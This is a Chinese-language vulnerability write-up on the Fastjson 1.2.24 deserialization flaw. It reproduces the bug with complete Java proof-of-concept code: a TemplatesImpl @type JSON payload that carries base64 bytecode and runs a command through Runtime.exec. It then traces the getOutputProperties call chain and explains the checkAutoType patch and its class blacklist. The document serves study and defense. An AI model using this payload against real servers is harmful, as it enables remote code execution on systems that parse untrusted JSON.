零、前言
Fastjson是由alibaba开源的一款第三方库,可以实现Json和Java Object的相互转换,其中Json转换成Java Object的方法是反序列化的过程。
一、漏洞复现
环境
操作系统:Windows10 Jdk:1.8.0_202 FastJson:1.2.24
新建一个Cmd类,里面是代码执行的操作,例子中为弹出一个计算器
package exploit; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Cmd extends AbstractTranslet { public Cmd() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } // @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Cmd t = new Cmd(); } }
然后新建一个Poc类,通过Fastjson触发上面的命令执行
package exploit; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class Poc { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig();; final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\exploit\\Cmd.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //assertEquals(Model.class, obj.getClass()); } public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }
执行效果
二、漏洞分析
在正式分析之前要先理解Fastjosn的工作过程,我们新建一个User类
package test; import com.alibaba.fastjson.JSON; import java.util.Properties; public class User { public String name; private int age; private Boolean sex; private Properties prop; public User(){ System.out.println("User() is called"); } public void setAge(int age){ System.out.println("setAge() is called"); this.age = age; } public Boolean getSex(){ System.out.println("getGrade() is called"); return this.sex; } public Properties getProp(){ System.out.println("getProp() is called"); return this.prop; } public String toString(){ String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex; return s; } public static void main(String[] args){ String jsonstr = "{\"@type\":\"test.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}"; Object obj = JSON.parseObject(jsonstr, User.class); System.out.println(obj); } }
这段代码就是在模拟Json字符串转换成User对象的过程,执行结果为:
User() is called setAge() is called getProp() is called [User Object] name=Tom, age=13, prop=null, sex=null
@type用来指定Json字符串还原成哪个类对象,在反序列化过程中里面的一些函数被自动调用,Fastjson会根据内置策略选择如何调用这些函数,在文件com.alibaba.fastjson.util.JavaBeanInfo
中定义了具体的策略,对于set函数主要有这几个条件:
if (methodName.length() < 4) { continue; } if (Modifier.isStatic(method.getModifiers())) { continue; } // support builder set if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { continue; } Class<?>[] types = method.getParameterTypes(); if (types.length != 1) { continue; } ... ... if (!methodName.startsWith("set")) { // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解? continue; }
也就是:
1、方法名长度大于等于4且以set开头 2、方法不能为静态方法 3、方法的类型为void或者为类自身的类型 4、参数个数为1
对于get函数:
if (methodName.length() < 4) { continue; } if (Modifier.isStatic(method.getModifiers())) { continue; } if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) { if (method.getParameterTypes().length != 0) { continue; } if (Collection.class.isAssignableFrom(method.getReturnType()) // || Map.class.isAssignableFrom(method.getReturnType()) // || AtomicBoolean.class == method.getReturnType() // || AtomicInteger.class == method.getReturnType() // || AtomicLong.class == method.getReturnType() // ) ... ... }
也就是
1、方法名长度大于等于 2、方法名以get开头且第四个字母为大写 3、方法不能为静态方法 4、方法不能有参数 5、方法的返回值必须为Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong之一
在普通的Java反序列化漏洞中自动执行的函数readObject,我们会利用readObject自动的代码构造调用链,同理在Fastjson中也是通过这些可以自动调用的函数进行命令执行。在Poc中,我们利用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类来构造调用链,接下来我们跟踪一下执行过程。我们在parseObject的位置下断点
然后进入到JSON类中的parseObject函数
然后又在JSON中的339行调用DefaultJSONParser的parseObject函数
T value = (T) parser.parseObject(clazz, null);
在DefaultJSONParser的parseObject函数的639行开始对输入的数据进行反序列化操作
其中this存储了输入的数据
然后跟进到JavaObjectDeserializer的deserialze函数
在最后一行又跳转到DefaultJSONParser的parse函数,这里会根据lexer的token选择相应的解析函数,此时token为12
LBRACE为12,表示“{”
因此进入LBRACE分支,调转到同文件的parseObject函数
这里会对字符串中的字段进行解析,scanSymbol就是将第二个参数(也就是双引号)中间的参数识别出来,比如第一个字段的key “@type”就被识别出来
然后后面开始识别json字符串的value的值,对于@type来说,其值就是我们设定的class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
可以看到这里获取了TemplatesImpl
的路径,并使用loadClass对其进行加载,然后在同文件的367行声明一个deserializer,我们跟进config.getDeserializer
可以看到在加载类的时候有一个黑名单检测,denyList中的都会拒绝加载
再一直往下跟,461行调用了createJavaBeanDeserializer函数
526行调用了JavaBeanInfo.build,这里会通过反射获取类的信息用于反序列化操作
下面获取了类里面所有的方法,后面会根据方法名提取字段名,然后存储到fieldList中
后面对所有的method筛选一遍,依据就是我们前面讲的几个条件
在判断get方法的时候会有下面这个进一步的判断返回值类型,getOutputProperties的返回值类型为Properties,继承自Hashtable,属于Map,因此可以通过判断
然后在下面几行根据method的名称,推断出对应的属性名称
最后将属性名、方法名、类等信息添加到fieldList
经过处理后提取了三个属性
然后层层跳转,回到DefaultJSONParser 中的368行,进入JavaBeanDeserializer中的deserialze函数,这里首先会对所有属性做匹配,总之都巧妙地避开了所有匹配条件
sortedFieldDeserializers存储了前面说的那三个属性和方法
然后在这里提取出_bytecodes
在570开始创建TemplatesImpl的实例,然后返回一个object变量
然后600行进入parseField
然后进入到DefaultFielDeserializer中的parseField
然后71行获得value的值
再往下执行到83进行setValue操作,这里就是给我们实例化的TemplatesImpl
对象的属性进行赋值,前面经过处理获得了三个属性名,只有当属性名为outputProperties的时候才会触发命令执行
跟到setValue中,这里面会调用getOutputProperties函数
然后我们看TemplatesImpl中的getOutputProperties
跟进到newTransformer函数
再跟进到getTransletInstance函数
这里首先会执行defineTransletClasses函数,它的作用从_bytecodes字段中获取类对象
然后在getTransletInstance函数中的455行对获取的类对象进行实例化,这样我们定义在Cmd.java构造函数中的代码就会被执行
实际上构造利用链的思路就是寻找一个类,它的某个函数满足Fastjson自动调用的条件,同时函数的执行过程会有类的实例化、反射等能够实现命令执行的操作。
三、漏洞修复
官方补丁使用checkAutoType
来进行漏洞的防御,它是ParserConfig中的新加入的函数,在类的加载过程中做了替换
- Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); + Class<?> clazz = config.checkAutoType(typeName);
checkAutoType首先检测是否开启autoType,然后检测要加载的类是否在黑名单中,只要类的开头一部分的字符串命中即可,黑名单如下
bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
在之后的各个版本的补丁绕过和升级主要就是围绕这个checkAutoType
函数来做的。